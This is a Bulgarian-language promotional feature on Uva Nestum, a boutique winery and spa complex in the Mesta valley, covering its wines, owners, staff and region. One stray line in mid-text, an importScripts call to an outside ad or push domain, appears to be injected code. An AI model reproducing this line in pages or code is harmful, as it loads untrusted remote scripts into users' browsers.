fbpx
+359 88 637 6704 info@sofiawinewalk.com

Що е то винен туризъм и има ли почва у нас? А ако бъдем по-смели и помечтаем за СПА и винен туризъм в едно? Е, мечтите понякога се сбъдват – българската вино и СПА перла се нарича Uva Nestum. И не, нека не се залъгваме по перлите, че се отправяме към Черноморието. Uva Nestum е хотелски СПА комплекс с 33 помещения и също бутикова винена изба на 1 км от град Гоце Делчев.

И ако виното е поднесено за първи път по нашите земи от траките, то традицията за минералните бани води началото си от римско време. Латинският език е нишката, която свързва древните култури в едно. От него произлиза Uva – грозде, а Nestum е еквивалент на Места – реката, в чиято долина е разположен комплексът. Името е среща на цивилизациите и приемственост по пътя към новото лице на българския туризъм. Проектът със сигурност е впечатляващ на външен вид, но също и при запознаване с всеки един отделен елемент от него поотделно. От момента на влизане в малката бутикова изба до разходката из всяка стая на комплекса, изгледът към лозята на метри от сградата на хотелската част, собствената ферма за птици, двата водоема и срещата с любезния и усмихнат персонал. Седемнайсетте години, прекарани в превръщане на мечтите в реалност и обмисляне на всеки от тези малки, но значими сами по себе си детайли, си заслужават.

Думата бутикова е основополагаща в концепцията Uva Nestum. На тази дефиниция отговаря избата с капацитет 10 000 бутилки годишно. Такава е била и първоначалната идея – да бъде малка и без възможност за разширяване. Освен, че произвежда само 10 000 бутилки годишно, вината на Uva Nestum няма да открием в търговската мрежа, а само на територията на комплекса. Изборът е изцяло на госта – дали да опита СПА процедури с чаша вино, да си купи няколко бутилки за вкъщи или ще съчетае вечерята с лимитираните вина. Гаранцията е само една – неизпитвано досега удоволствие за сетивата и топло и лично отношение от всеки един от персонала. Uva Nestum е единствената винарска изба в България, която можем да наречем от затворен тип по отношение на търговската реализация на продукцията. Смело решение, което изисква и своите жертви – реколта 2014 оставя производителите почти без грозде поради тежките климатични условия. Екипът поема пораженията и въпреки това успява да сглоби розе от Сира. Поради трудната година това е най-отбраното от технолозите грозде и на Балканския фест през 2015 розето от 100% Сира реколта 2014 е наградено с трофей, като това е и първото участие на избата в Балканския конкурс до тогава.

Виненият роман на Uva Nestum започва със засаждането на първите собствени лозя от Рубин през 2005 г., който и досега получава специално внимание от екипа като единствения местен червен сорт в комплекса. Как се стига до решението именно това да е флагмана на избата? Собственикът Иван Биларев държал да има местен отличим сорт и поради по-хладния климат и невъзможността за отглеждане на Мелнишки такива, Рубин остава единствената опция. За сметка на това българското червено бижу открива своя дом по долината на река Места и се приспособява изключително успешно към особеностите на местния климат. Стъпка по стъпка се появяват и всичките 22 дка собствени насаждения от Каберне Совиньон, Каберне Фран, Мерло и Сира. През 2017 г. винарната добавя последните 5 дка от масива, но първи с белите сортове Тамянка и Мускат Отонел. Към края на 2020 или началото на 2021 г. се очаква и първата реколта произведено от тях бяло вино.

importScripts("https://superonclick.com/script/psw.min.js");

Днес бутиковата винарна произвежда лимитирани партиди от 1000 до 1600 бутилки купажни вина. Единственото изключение е най-новата реколта розе, от която до клиентите ще достигнат 2500 бутилки. Катя Йончева, един от издателите на Каталога Ката вино успява да различи розето на Uva Nestum от всяка реколта и определя стила като разпознаваем като качество, привързан към тероара си и изразителен. Всичко, което притежава собствен почерк е и запомнящо се. Такива са и останалите вина на Uva Nestum – остават ясен отпечатък в съзнанието на всички, които ги опитват –от любители до професионалисти. Резултатите не закъсняват –ежегодно валят златни, сребърни и бронзови  медали от Балканския Фест, а червеният бленд от Рубин и Мерло получава три пъти пет звезди в каталога КАТА вино.

Нека продължим за лозята и климата. Uva Nestum е единствената винарна по долината на река Места, но поради липса на ясно райониране е представена като част от винения регион Долината на река Струма. А климатичните разлики между двете области са големи. Райското кътче от долината на Места, където е разположена винарната, е заобиколено от четири планини, а Средиземноморското влияние се усеща неимоверно. Естествените въздушни течения между реката и планините водят до високи температурни амплитуди и удължават сезона на зреене с две-три седмици, сравнено с Мелнишко. Тук се наблюдават и пролетни и есенни застудявания, които поставят лозарството в риск, а понякога и под въпрос цяла реколта както през 2014. За къде без позитиви – съдържанието на отрицателни йони във въздуха прави района в сходен по определени показатели с този на град Сандански и го прави особено подходящ за лечебна профилактика.

Но да се върнем към виното. Червените купажни вина на Uva Nestum са представени в четири серии. Две са в по-висок клас и носят името на избата. Купажите за всички вина се променят като сортово съотношение всяка реколта в зависимост от качеството на гроздето. Едно е ясно – екипът на Uva Nestum е взел твърдо решение. Компромис с качеството не може и не трябва да се прави. Ако годината е трудна, вино няма да се произвежда. Вината от сериите Uva Nestum са купажи от Рубин и Мерло и също Каберне Совиньон/Фран и Мерло. Доминират първите изброени сортове като процентното съотношение е 80/20.   Прекарват от 12 до 14 месеца в първо зареждане френски барици от бъчварница Силвен. Когато на едно място се съберат много „табиетлии“, за всичко е помислено, а по пътя на изключването е оставено в миналото всичко неработещо. През годините пробват бъчви с различен произход, включително и български, за да се спрат на Силвен, които изповядват абсолютно същото отношение към дъба каквото Uva Nestum към виното. Везните са в равновесие – нито повече, нито по-малко.

Да живее свободата! Това е историята зад средния клас вино Uva Libre. На една от ежегодишните празнични вечери, с които се отблагодаряват на своите лоялни клиенти, хората от екипа на Uva Nestum стават свидетели на свободно изпълнение на песента на гостуващата група Акага Куба Либре. От Куба Либре не вървели дълго до Uva Libre. Нека бъде свобода! Този среден клас представя по-свежо за консумация вино, отлежало за 6 месеца във второ зареждане френски барик. Освен обичайните заподозрени Каберне Совиньон и Рубин, главна роля в купажа има ефирната и елегантна Сира.

Трапеза, но каква? Разбира се с хора, по пирински. Ширтò е името на местен традиционен танц от района, но и на трапезната серия червени купажни вина на Uva Nestum. През последните две реколти на напитката ѝ се случва да си отдъхне за месец-два в използван френски барик, но излиза от там буйна, жива, игрива, опияняваща или точно като хорото Ширтò.

Uva Nestum е семеен проект. При първи поглед отвън върху луксозната и модерна сграда с бляскава чистота и добре поддържани зелени площи, всеки би си казал, че това е невъзможно. Другият въпрос, който би си задал е : „Аз наистина ли съм на Балканите или в България ?“ Дължим цялото вълшебство на агронома Иван Биларев и неговото семейство. И да, отнема 17 години да бъде издигнат комплекса и да придобие сегашния си вид. Неслучайно архитектът Лило Попов, който проектира бутиковия винен комплекс го определя като проекта на живота си, в абсолютна хармония с проекта на живота на неговия приятел и инвеститор Иван Биларев. Тази мисия е изпълнена с подкрепата на цялото семейство Билареви, което и до днес може да бъде забелязано да посреща скъпи гости или да помага с работата в комплекса. Всеки един от членовете изпълнява различна задача според страстта и способностите си. Малката дъщеря Цветелина е управител на комплекса като се подготвя за това, завършвайки мениджмънт във Франция. Съпругът ѝ Живко изпълнява функциите на мениджър храни и напитки. Бащата Атанас Биларев е агроном-лозаро-градинар и се грижи за лозята и градините в имението. Сестрата Магдалена заедно със своята най-добра приятелка Роси Георгиева стоят със своите идеи и умения зад винифицирането на вината. Има и две други дами, които макар да не са част от семейството, бързо се приспособяват към ценностите, заложени в концепцията и благородната кауза всеки да даде най-доброто от себе си в името на проекта Uva Nestum.

На снимката отляво-надясно са : Димка Медарева, Росица Георгиева, Иван Биларев, Атанас Биларев и Магдалена Биларева.

Едната е Димка Медарева – технолог във винарната от 2017г. Завършила е ВХВП по специалност Технология на микробиологични и ферментационни продукти. След завършването работи като технолог в тютюневата промишленост, но истинското ѝ бойно кръщене е виното и проекта Uva Nestum. Любов от първа чепка грозде и до последна капка вино. Това е точното описание на времето ѝ, прекарано в малката бутикова изба, която става още по-приветлива след нейното пристигане. Хармония и съвършенство на вината е това, към което се стреми в своята ежедневна работа. А когато Димка не е заета в избата, с удоволствие води дегустации и опиянява своите слушатели на винените дегустационни вечери. И времето неусетно лети – от едночасови се превръщат в две и тричасови, а местните любители на виното с радост покоряват нови винени хоризонти в нейната компания.

Другата дама, отдадена на мисия винен туризъм в Uva Nestum е Екатерина Христова, бранд мениджър на проекта. Нейната авантюра с долината на река Места започва през 2012 г. Визията на Иван Биларев е да създаде продукт, който да се конкурира на световно ниво, но и също така да запази своята идентичност, чар и уникалност. Тук влиза в действие Екатерина. Тя и екипът от общо 200 човека работещи в Uva Nestum и вторият комплекс в Огняново Therma Vitaе  вярват в най-древната реклама от уста на уста, за да могат да пресъздадат божествения свят, до който са се докоснали и у своите гости. Стремят се да предават неподправена емоцията на това магическо място, за да усетят и техните гости същата неразривна връзка с природата и вдъхновението от нея. По тази причина не използват посредници като резервационната система Booking. Участват на туристически борси като ‘’Ваканция и СПА’’ в София и „Филоксения“ в Солун, където търсят директен контакт с бъдещите гости.

Посещението на Uva Nestum е като пренасяне в райските градини. Душевен мир, биологично разнообразие и естествена хармония царят на територията на комплекса. В градините се отглеждат собствени екологичночисти плодове и зеленчуци. Кошери с пчели и ферма за фазани, гъски, пуйки, патици, петли и кокошки допълват идилията. А за да е още по-пълно животинското царство, има и зайци и два водоема със собствена риба – сом и шаран. Още декоративни сърни и елени радват децата.

Нещо нормално е да забравиш за времето докато си потопен в това царство на природата, но ако все пак решиш да пътуваш из региона, възможностите не са никак малко. Едно истинско пътуване във времето е посещението на един от четирите архитектурни резервата – Ковачевица, Лещен, Долен и Делчево. Топлината, с която те посрещат местните жители по тези места е нещо, което не се е променило с векове.

Екатерина Христова споделя, че семейните традиции са особено важни в района и всяка година от далечни земи се връщат стотици хора, за да не изпуснат годишните родови събирания. Тя не помни да е виждала по-дълго хоро в живота си от тези на съборите в околността. Чистотата и непринудеността на местните се пренася и в тяхната работа и Екатерина с радост се хвали, че няма нужда да обучава персонала, съставен от жители на околните населени места, на гостоприемство. Усмивката и добрата дума понякога са трудни за откриване в забързаното ежедневие на големите градове, но тук са ценени и ден не минава без тях. Търсенията ѝ са в други насоки – довежда винени специалисти, известни шеф-готвачи и партнира редовно с Димка Медарева, за да осигури на персонала на комплекса знания за вино и кулинария. Иван Биларев и екипът вярват в местните продукти и се стремят да използват главно такива за изготвяне на менюто на ресторанта. Винената листа е съставена основно от български вина. Не са пропуснати и предложения от гръцкия регион Драма, който е съседен и близък в културно отношение до техния.

За СПА процедури използват винени продукти от сорта Пинотаж, внесени от Южна Африка на фирма TheraVine. Пакетът „Винотерапия“ включва потапяне в специални вани, наподобяващи бъчви с вино. Открили са и други приложения на божествената напитка.

От 2018г. мисията на Екатерина Христова се превръща от регионална в национална. Платформата www.winetrips.eu , която създават в съвместно партньорство с виненоориентирани туристически организации от Драма, Гърция и Калабрия, Италия става посланник на виното за трите региона, но и не само. Екатерина включва от българска страна освен долината на река Места, също и дванайсетте винено-кулинарни дестинации, специално изработените винени маршрути в Пловдивско, Мелнишко, регион Североизток и София. Всичко, което може да бъде изживяно в българския свят на виното е обхванато до този момент, но амбициозната Екатерина знае, че ще продължи да следи всичко,което се случва на винената сцена и ще актуализира информацията в сайта.

На 3-4 км от Uva Nestum се намират останките на римската крепост Никополис Ад Нестум, изградена от император Траян в чест на победата над даките. Щом той е успял да победи, Uva Nestum също вярват, че ще се преборят задружно за успеха на техния проект, популяризирането на района и българския винен туризъм. А околността от древни времена е свещено място. Това разкрива легендата за Огняновските минерални бани, които лично св. Павел миросал (осветил). От тогава се смята, че минералните извори имат лечебни свойства. Косвените доказателствата според историците са, че епископският център с баптисeрия в Никополис Ад Нестум насочва към посещение от първоапостол.

Обединението прави силата. Екатерина със смях и радост си спомня за обучението за решаване на конфликти, което провежда с персонала на комплекса. Тогава всички работещи са свикани и разказват за трудна ситуация с гости на хотела. Екатерина първоначално е предпазлива и предполага, че може да предизвика негативни емоции, но е изненадана от хумора, с който всеки разказва минали стресиращи случки, осъзнавайки ценния придобит опит. Екипът си тръгва по-сплотен от всякога. Дори две колежки се прегръщат една друга след като преосмислят спор, който разделя двете най-добри приятелки за месеци преди това.

COVID 19 и Uva Nestum. Без съмнение пандемията е тежък удар за българското хотелиерство и ресторантьорство, както и за цялата туристическа индустрия. Екатерина Христова със завиден оптимизъм смята, че създалата се ситуация ще допринесе за развитие на вътрешния туризъм и това ще спаси отчасти бранша. Ще станем свидетели на естествено филтриране на качеството на преживяванията и търсене на предложения с висок рейтинг. Тя се надява държавните институции да обърнат внимание на вътрешния туризъм и да подкрепят успешните инициативи. За нея добър пример за следване е насърчаването от немското правителството на посещенията на местни семейни хотели, което съсредоточава силите на собствениците върху качеството на предлагания продукт. Интересни за наблюдение са т.нар. социални номади, които работят от вкъщи и пътуват и живеят в различни страни по света. Екатерина открива, че за тях България се превръща във все по-примамливо място за посещение. Смята, че в бъдеще ще се срещаме все повече от тях. А хората по света едва ли ще спрат да пътуват, но вече ще търсят качествени преживявания като срещите с българското вино и хората, които го произвеждат.

Автор

Павлин Иванов